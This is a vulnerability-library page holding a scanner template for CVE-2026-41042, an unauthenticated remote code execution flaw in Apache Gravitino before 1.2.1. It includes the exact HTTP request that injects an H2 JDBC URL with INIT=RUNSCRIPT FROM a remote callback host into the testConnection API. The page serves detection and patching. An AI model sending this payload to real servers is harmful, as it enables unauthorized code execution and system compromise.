/Vulnerability Library

Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution

CVE-2026-41042
Early Release

Description

Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.

Severity

Critical

CVSS Score

9.1

Affected Product

gravitino

Published Date

August 18, 2026

Template Author

buzhimingdeaikun

`CVE-2026-41042.yaml
id: CVE-2026-41042

info:
  name: Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution
  author: buzhimingdeaikun
  severity: critical
  description: |
    Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.
  impact: |
    Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.1 or later.
  reference:
    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj
    - https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41042
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-41042
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: gravitino
    shodan-query: title:"Gravitino"
    fofa-query: title="Gravitino"
  tags: cve,cve2026,apache,gravitino,rce,unauth,oast,h2,jdbc

variables:
  ml_name: "{{rand_base(6)}}"
  db_name: "{{rand_base(8)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/metalakes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{ml_name}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        POST /api/metalakes/{{ml_name}}/catalogs/testConnection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/vnd.gravitino.v1+json

        {"name":"h2rce","type":"RELATIONAL","provider":"jdbc-mysql","properties":{"jdbc-url":"jdbc:h2:mem:{{db_name}};INIT=RUNSCRIPT FROM 'http://{{interactsh-url}}/{{filename}}.sql'","jdbc-user":"sa","jdbc-password":"","jdbc-driver":"org.h2.Driver"}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "http")
          - contains(interactsh_request, "/{{filename}}.sql")
          - status_code == 500
        condition: and
# digest: 4a0a004730450220122d62659beb7d9407b7f1fdedf41497d052667b372de5645baab4214b5c9e9b022100ac7481f995208de12a68a992a1c7be45f213e360836afb75e1e5f631b9a01afe:922c64590222798bb761d5b6d8e72950
9.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-41042
CWE ID:
cwe-20

References

https://github.com/advisories/GHSA-59xm-4m8c-g3xjhttps://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvmhttps://nvd.nist.gov/vuln/detail/CVE-2026-41042

Remediation Steps

Upgrade to version 1.2.1 or later.